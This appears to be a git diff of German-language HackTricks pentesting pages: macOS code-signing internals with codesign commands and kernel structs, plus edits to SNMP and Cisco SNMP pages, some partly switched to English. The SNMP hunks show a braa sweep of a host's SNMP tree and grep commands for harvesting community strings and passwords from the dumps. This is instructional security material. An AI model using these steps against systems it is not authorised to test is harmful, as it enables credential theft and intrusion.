||||
uint64_t execSegBase; /* offset of executable segment */
|
||||
uint64_t execSegLimit; /* limit of executable segment */
|
||||
uint64_t execSegFlags; /* executable segment flags */
|
||||
char end_withExecSeg[0];
|
||||
|
||||
/* Version 0x20500 */
|
||||
uint32_t runtime;
|
||||
uint32_t preEncryptOffset;
|
||||
char end_withPreEncryptOffset[0];
|
||||
|
||||
/* Version 0x20600 */
|
||||
uint8_t linkageHashType;
|
||||
uint8_t linkageApplicationType;
|
||||
uint16_t linkageApplicationSubType;
|
||||
uint32_t linkageOffset;
|
||||
uint32_t linkageSize;
|
||||
char end_withLinkage[0];
|
||||
|
||||
/* followed by dynamic content as located by offset fields above */
|
||||
} CS_CodeDirectory
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Beachten Sie, dass es verschiedene Versionen dieser Struktur gibt, bei denen ältere möglicherweise weniger Informationen enthalten.
|
||||
|
||||
## Signing Code Pages
|
||||
|
||||
Das Hashing des vollständigen Binaries wäre ineffizient und sogar nutzlos, wenn es nur teilweise im Speicher geladen ist. Daher ist die Codesignatur tatsächlich ein Hash von Hashes, bei dem jede Binärseite einzeln gehasht wird.\
|
||||
Tatsächlich können Sie im vorherigen **Code Directory**-Code sehen, dass die **Seitengröße in einem seiner Felder angegeben ist**. Darüber hinaus gibt das Feld **CodeLimit** an, wo das Ende der Signatur liegt, wenn die Größe des Binaries kein Vielfaches der Seitengröße ist.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
[...]
|
||||
CandidateCDHash sha256=c46e56e9490d93fe35a76199bdb367b3463c91dc
|
||||
CandidateCDHashFull sha256=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
Hash choices=sha256
|
||||
CMSDigest=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
CMSDigestType=2
|
||||
Executable Segment base=0
|
||||
Executable Segment limit=32768
|
||||
Executable Segment flags=0x1
|
||||
Page size=4096
|
||||
-7=a542b4dcbc134fbd950c230ed9ddb99a343262a2df8e0c847caee2b6d3b41cc8
|
||||
-6=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-5=2bb2de519f43b8e116c7eeea8adc6811a276fb134c55c9c2e9dcbd3047f80c7d
|
||||
-4=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-3=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-2=4ca453dc8908dc7f6e637d6159c8761124ae56d080a4a550ad050c27ead273b3
|
||||
-1=0000000000000000000000000000000000000000000000000000000000000000
|
||||
0=a5e6478f89812c0c09f123524cad560a9bf758d16014b586089ddc93f004e39c
|
||||
1=ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
|
||||
2=93d476eeace15a5ad14c0fb56169fd080a04b99582b4c7a01e1afcbc58688f
|
||||
[...]
|
||||
|
||||
# Calculate the hasehs of each page manually
|
||||
BINARY=/bin/ps
|
||||
SIZE=`stat -f "%Z" $BINARY`
|
||||
PAGESIZE=4096 # From the previous output
|
||||
PAGES=`expr $SIZE / $PAGESIZE`
|
||||
for i in `seq 0 $PAGES`; do
|
||||
dd if=$BINARY of=/tmp/`basename $BINARY`.page.$i bs=$PAGESIZE skip=$i count=1
|
||||
done
|
||||
openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Beachten Sie, dass Anwendungen auch einen **Entitlement Blob** enthalten können, in dem alle Berechtigungen definiert sind. Darüber hinaus können einige iOS-Binärdateien ihre Berechtigungen spezifisch im speziellen Slot -7 (anstatt im speziellen Slot -5 für Berechtigungen) haben.
|
||||
|
||||
## Special Slots
|
||||
|
||||
MacOS-Anwendungen haben nicht alles, was sie zur Ausführung benötigen, innerhalb der Binärdatei, sondern verwenden auch **externe Ressourcen** (normalerweise innerhalb des Anwendungs-**Bundles**). Daher gibt es einige Slots innerhalb der Binärdatei, die die Hashes einiger interessanter externer Ressourcen enthalten, um zu überprüfen, ob sie nicht modifiziert wurden.
|
||||
|
||||
Tatsächlich ist es möglich, in den Code Directory-Strukturen einen Parameter namens **`nSpecialSlots`** zu sehen, der die Anzahl der speziellen Slots angibt. Es gibt keinen speziellen Slot 0, und die häufigsten (von -1 bis -6) sind:
|
||||
|
||||
* Hash von `info.plist` (oder dem im `__TEXT.__info__plist`).
|
||||
* Hash der Anforderungen
|
||||
* Hash des Ressourcenverzeichnisses (Hash der Datei `_CodeSignature/CodeResources` im Bundle).
|
||||
* Anwendungsspezifisch (nicht verwendet)
|
||||
* Hash der Berechtigungen
|
||||
* DMG-Code-Signaturen nur
|
||||
* DER Berechtigungen
|
||||
|
||||
## Code Signing Flags
|
||||
|
||||
Jeder Prozess hat eine zugehörige Bitmaske, die als `status` bekannt ist und vom Kernel gestartet wird. Einige davon können durch die **Code-Signatur** überschrieben werden. Diese Flags, die in der Code-Signierung enthalten sein können, sind [im Code definiert](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
```c
|
||||
/* code signing attributes of a process */
|
||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||
#define CS_ADHOC 0x00000002 /* ad hoc signed */
|
||||
#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
|
||||
#define CS_INSTALLER 0x00000008 /* has installer entitlement */
|
||||
|
||||
#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */
|
||||
#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */
|
||||
|
||||
#define CS_HARD 0x00000100 /* don't load invalid pages */
|
||||
#define CS_KILL 0x00000200 /* kill process if it becomes invalid */
|
||||
#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */
|
||||
#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */
|
||||
|
||||
#define CS_ENFORCEMENT 0x00001000 /* require enforcement */
|
||||
#define CS_REQUIRE_LV 0x00002000 /* require library validation */
|
||||
#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */
|
||||
#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */
|
||||
|
||||
#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */
|
||||
#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */
|
||||
|
||||
#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \
|
||||
CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
||||
|
||||
#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */
|
||||
#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */
|
||||
#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */
|
||||
#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */
|
||||
|
||||
#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */
|
||||
#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */
|
||||
#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */
|
||||
#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */
|
||||
#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */
|
||||
|
||||
#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
|
||||
#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
|
||||
#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
|
||||
#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */
|
||||
|
||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||
```
|
||||
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) kann auch die `CS_EXEC_*`-Flags dynamisch hinzufügen, wenn die Ausführung gestartet wird.
|
||||
|
||||
## Anforderungen an die Code-Signatur
|
||||
|
||||
Jede Anwendung speichert einige **Anforderungen**, die sie **erfüllen** muss, um ausgeführt werden zu können. Wenn die **Anforderungen der Anwendung nicht von der Anwendung erfüllt werden**, wird sie nicht ausgeführt (da sie wahrscheinlich verändert wurde).
|
||||
|
||||
Die Anforderungen einer Binärdatei verwenden eine **spezielle Grammatik**, die ein Stream von **Ausdrücken** ist und als Blobs mit `0xfade0c00` als Magic kodiert ist, dessen **Hash in einem speziellen Code-Slot gespeichert ist**.
|
||||
|
||||
Die Anforderungen einer Binärdatei können wie folgt angezeigt werden:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
codesign -d -r- /bin/ls
|
||||
Executable=/bin/ls
|
||||
designated => identifier "com.apple.ls" and anchor apple
|
||||
|
||||
codesign -d -r- /Applications/Signal.app/
|
||||
Executable=/Applications/Signal.app/Contents/MacOS/Signal
|
||||
designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Beachten Sie, wie diese Signaturen Dinge wie Zertifizierungsinformationen, TeamID, IDs, Berechtigungen und viele andere Daten überprüfen können.
|
||||
{% endhint %}
|
||||
|
||||
Darüber hinaus ist es möglich, einige kompilierte Anforderungen mit dem `csreq`-Tool zu generieren:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Generate compiled requirements
|
||||
csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
|
||||
|
||||
# Get the compiled bytes
|
||||
od -A x -t x1 /tmp/output.csreq
|
||||
0000000 fa de 0c 00 00 00 00 b0 00 00 00 01 00 00 00 06
|
||||
0000010 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 02
|
||||
0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
|
||||
[...]
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Es ist möglich, auf diese Informationen zuzugreifen und Anforderungen mit einigen APIs aus dem `Security.framework` zu erstellen oder zu ändern, wie:
|
||||
|
||||
#### **Überprüfung der Gültigkeit**
|
||||
|
||||
* **`Sec[Static]CodeCheckValidity`**: Überprüft die Gültigkeit von SecCodeRef pro Anforderung.
|
||||
* **`SecRequirementEvaluate`**: Validiert die Anforderung im Kontext des Zertifikats.
|
||||
* **`SecTaskValidateForRequirement`**: Validiert eine laufende SecTask gegen die `CFString`-Anforderung.
|
||||
|
||||
#### **Erstellen und Verwalten von Code-Anforderungen**
|
||||
|
||||
* **`SecRequirementCreateWithData`:** Erstellt ein `SecRequirementRef` aus binären Daten, die die Anforderung darstellen.
|
||||
* **`SecRequirementCreateWithString`:** Erstellt ein `SecRequirementRef` aus einem String-Ausdruck der Anforderung.
|
||||
* **`SecRequirementCopy[Data/String]`**: Ruft die binäre Datenrepräsentation eines `SecRequirementRef` ab.
|
||||
* **`SecRequirementCreateGroup`**: Erstellt eine Anforderung für die Mitgliedschaft in einer App-Gruppe.
|
||||
|
||||
#### **Zugriff auf Code-Signaturinformationen**
|
||||
|
||||
* **`SecStaticCodeCreateWithPath`**: Initialisiert ein `SecStaticCodeRef`-Objekt von einem Dateisystempfad zur Inspektion von Codesignaturen.
|
||||
* **`SecCodeCopySigningInformation`**: Erhält Signaturinformationen von einem `SecCodeRef` oder `SecStaticCodeRef`.
|
||||
|
||||
#### **Ändern von Code-Anforderungen**
|
||||
|
||||
* **`SecCodeSignerCreate`**: Erstellt ein `SecCodeSignerRef`-Objekt für die Durchführung von Codesignierungsoperationen.
|
||||
* **`SecCodeSignerSetRequirement`**: Setzt eine neue Anforderung, die der Codesigner während der Signierung anwenden soll.
|
||||
* **`SecCodeSignerAddSignature`**: Fügt der zu signierenden Code mit dem angegebenen Signierer eine Signatur hinzu.
|
||||
|
||||
#### **Validierung von Code mit Anforderungen**
|
||||
|
||||
* **`SecStaticCodeCheckValidity`**: Validiert ein statisches Codeobjekt gegen die angegebenen Anforderungen.
|
||||
|
||||
#### **Zusätzliche nützliche APIs**
|
||||
|
||||
* **`SecCodeCopy[Internal/Designated]Requirement`: Holen Sie sich SecRequirementRef von SecCodeRef**
|
||||
* **`SecCodeCopyGuestWithAttributes`**: Erstellt ein `SecCodeRef`, das ein Codeobjekt basierend auf spezifischen Attributen darstellt, nützlich für Sandboxing.
|
||||
* **`SecCodeCopyPath`**: Ruft den Dateisystempfad ab, der mit einem `SecCodeRef` verknüpft ist.
|
||||
* **`SecCodeCopySigningIdentifier`**: Erhält die Signaturkennung (z. B. Team-ID) von einem `SecCodeRef`.
|
||||
* **`SecCodeGetTypeID`**: Gibt die Typkennung für `SecCodeRef`-Objekte zurück.
|
||||
* **`SecRequirementGetTypeID`**: Erhält eine CFTypeID von einem `SecRequirementRef`.
|
||||
|
||||
#### **Code-Signierungsflags und Konstanten**
|
||||
|
||||
* **`kSecCSDefaultFlags`**: Standardflags, die in vielen Funktionen des Security.framework für Codesignierungsoperationen verwendet werden.
|
||||
* **`kSecCSSigningInformation`**: Flag, das angibt, dass Signaturinformationen abgerufen werden sollen.
|
||||
|
||||
## Durchsetzung der Codesignatur
|
||||
|
||||
Der **Kernel** ist derjenige, der **die Codesignatur überprüft**, bevor er den Code der App ausführen lässt. Darüber hinaus ist eine Möglichkeit, neuen Code im Speicher zu schreiben und auszuführen, den JIT zu missbrauchen, wenn `mprotect` mit dem `MAP_JIT`-Flag aufgerufen wird. Beachten Sie, dass die Anwendung eine spezielle Berechtigung benötigt, um dies tun zu können.
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) Struktur enthält die Informationen über die Berechtigung des laufenden Prozesses. `csb_platform_binary` informiert auch, ob die Anwendung ein Plattform-Binary ist (was zu verschiedenen Zeitpunkten vom OS überprüft wird, um Sicherheitsmechanismen anzuwenden, wie zum Beispiel den Schutz der SEND-Rechte zu den Task-Ports dieser Prozesse).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
vnode_t csb_vnode;
|
||||
void *csb_ro_addr;
|
||||
__xnu_struct_group(cs_cpu_info, csb_cpu_info, {
|
||||
cpu_type_t csb_cpu_type;
|
||||
cpu_subtype_t csb_cpu_subtype;
|
||||
});
|
||||
__xnu_struct_group(cs_signer_info, csb_signer_info, {
|
||||
unsigned int csb_flags;
|
||||
unsigned int csb_signer_type;
|
||||
});
|
||||
off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */
|
||||
off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */
|
||||
off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */
|
||||
vm_size_t csb_mem_size;
|
||||
vm_offset_t csb_mem_offset;
|
||||
void *csb_mem_kaddr;
|
||||
unsigned char csb_cdhash[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_hashtype;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
unsigned char csb_linkage[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_linkage_hashtype;
|
||||
#endif
|
||||
int csb_hash_pageshift;
|
||||
int csb_hash_firstlevel_pageshift; /* First hash this many bytes, then hash the hashes together */
|
||||
const CS_CodeDirectory *csb_cd;
|
||||
const char *csb_teamid;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
char *csb_supplement_teamid;
|
||||
#endif
|
||||
const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
const CS_GenericBlob *csb_der_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
|
||||
/*
|
||||
* OSEntitlements pointer setup by AMFI. This is PAC signed in addition to the
|
||||
* cs_blob being within RO-memory to prevent modifications on the temporary stack
|
||||
* variable used to setup the blob.
|
||||
*/
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_entitlements") csb_entitlements;
|
||||
|
||||
unsigned int csb_reconstituted; /* signature has potentially been modified after validation */
|
||||
__xnu_struct_group(cs_blob_platform_flags, csb_platform_flags, {
|
||||
/* The following two will be replaced by the csb_signer_type. */
|
||||
unsigned int csb_platform_binary:1;
|
||||
unsigned int csb_platform_path:1;
|
||||
});
|
||||
|
||||
/* Validation category used for TLE */
|
||||
unsigned int csb_validation_category;
|
||||
|
||||
#if CODE_SIGNING_MONITOR
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_csm_obj") csb_csm_obj;
|
||||
bool csb_csm_managed;
|
||||
#endif
|
||||
};
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
@ -61,16 +61,16 @@ Hier ist eine Aufschlüsselung dieser Adresse.
|
|||
* 1 – dies wird als ISO bezeichnet und stellt fest, dass dies eine OID ist. Deshalb beginnen alle OIDs mit „1“.
|
||||
* 3 – dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat.
|
||||
* 6 – dies ist das dod oder das Department of Defense, das die Organisation ist, die das Internet zuerst etabliert hat.
|
||||
* 1 – dies ist der Wert des Internets, um anzuzeigen, dass alle Kommunikationen über das Internet stattfinden.
|
||||
* 1 – dieser Wert bezeichnet das Internet, um anzuzeigen, dass alle Kommunikationen über das Internet stattfinden.
|
||||
* 4 – dieser Wert bestimmt, dass dieses Gerät von einer privaten Organisation und nicht von einer Regierungsorganisation hergestellt wurde.
|
||||
* 1 – dieser Wert zeigt an, dass das Gerät von einem Unternehmen oder einer Geschäftseinheit hergestellt wurde.
|
||||
* 1 – dieser Wert bezeichnet, dass das Gerät von einem Unternehmen oder einer Geschäftseinheit hergestellt wurde.
|
||||
|
||||
Diese ersten sechs Werte sind für alle Geräte gleich und geben Ihnen die grundlegenden Informationen über sie. Diese Zahlenfolge wird für alle OIDs gleich sein, es sei denn, das Gerät wird von der Regierung hergestellt.
|
||||
|
||||
Weiter zur nächsten Zahlenreihe.
|
||||
|
||||
* 1452 – gibt den Namen der Organisation an, die dieses Gerät hergestellt hat.
|
||||
* 1 – erklärt den Typ des Geräts. In diesem Fall handelt es sich um einen Wecker.
|
||||
* 1 – erklärt die Art des Geräts. In diesem Fall handelt es sich um einen Wecker.
|
||||
* 2 – bestimmt, dass dieses Gerät eine Fernbedienungseinheit ist.
|
||||
|
||||
Die restlichen Werte geben spezifische Informationen über das Gerät.
|
||||
|
|
@ -98,7 +98,7 @@ Es gibt **2 Arten von Community-Strings**:
|
|||
* **`public`** hauptsächlich **nur Lese**-Funktionen
|
||||
* **`private`** **Lese/Schreib** im Allgemeinen
|
||||
|
||||
Beachten Sie, dass **die Schreibbarkeit einer OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Es **kann** auch Objekte geben, die **immer "Nur Lesen" sind.**\
|
||||
Beachten Sie, dass **die Schreibbarkeit einer OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem **kann** es Objekte geben, die **immer "Nur Lesen" sind.**\
|
||||
Wenn Sie versuchen, ein Objekt zu **schreiben**, wird ein **`noSuchName` oder `readOnly` Fehler** empfangen\*\*.\*\*
|
||||
|
||||
In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er antwortet, wurde ein **gültiger Community-String verwendet**.
|
||||
|
|
@ -185,7 +185,7 @@ Schauen Sie sich diese Seite an, wenn Sie Cisco-Geräte haben:
|
|||
|
||||
## Von SNMP zu RCE
|
||||
|
||||
Wenn Sie die **String** haben, die es Ihnen erlaubt, **Werte** im SNMP-Dienst zu **schreiben**, könnten Sie in der Lage sein, dies auszunutzen, um **Befehle auszuführen**:
|
||||
Wenn Sie die **String** haben, die es Ihnen ermöglicht, **Werte** im SNMP-Dienst **zu schreiben**, könnten Sie in der Lage sein, dies auszunutzen, um **Befehle auszuführen**:
|
||||
|
||||
{% content-ref url="snmp-rce.md" %}
|
||||
[snmp-rce.md](snmp-rce.md)
|
||||
|
|
@ -201,7 +201,7 @@ Braa implementiert seinen eigenen SNMP-Stack, sodass es keine SNMP-Bibliotheken
|
|||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Dies kann eine Menge MB an Informationen extrahieren, die Sie manuell nicht verarbeiten können.
|
||||
Dies kann eine Menge MB an Informationen extrahieren, die Sie nicht manuell verarbeiten können.
|
||||
|
||||
Schauen wir uns also die interessantesten Informationen an (von [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
|
|
@ -213,13 +213,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
|||
```
|
||||
### **Identifizieren Sie die private Zeichenfolge**
|
||||
|
||||
Ein entscheidender Schritt besteht darin, die **private Community-Zeichenfolge** zu identifizieren, die von Organisationen verwendet wird, insbesondere auf Cisco IOS-Routern. Diese Zeichenfolge ermöglicht das Extrahieren von **laufenden Konfigurationen** von Routern. Die Identifizierung basiert häufig auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**:
|
||||
Ein entscheidender Schritt besteht darin, die **private Community-Zeichenfolge** zu identifizieren, die von Organisationen verwendet wird, insbesondere auf Cisco IOS-Routern. Diese Zeichenfolge ermöglicht das Extrahieren von **laufenden Konfigurationen** von Routern. Die Identifizierung basiert oft auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Benutzernamen/Passwörter**
|
||||
|
||||
In MIB-Tabellen gespeicherte Protokolle werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden:
|
||||
Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die möglicherweise versehentlich Passwörter enthalten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
|
|
@ -243,7 +243,7 @@ Wenn es eine ACL gibt, die nur einigen IPs erlaubt, den SNMP-Dienst abzufragen,
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
|||
|
|
@ -1,27 +1,27 @@
|
|||
# Cisco SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting von Cisco Netzwerken
|
||||
## Pentesting Cisco Netzwerke
|
||||
|
||||
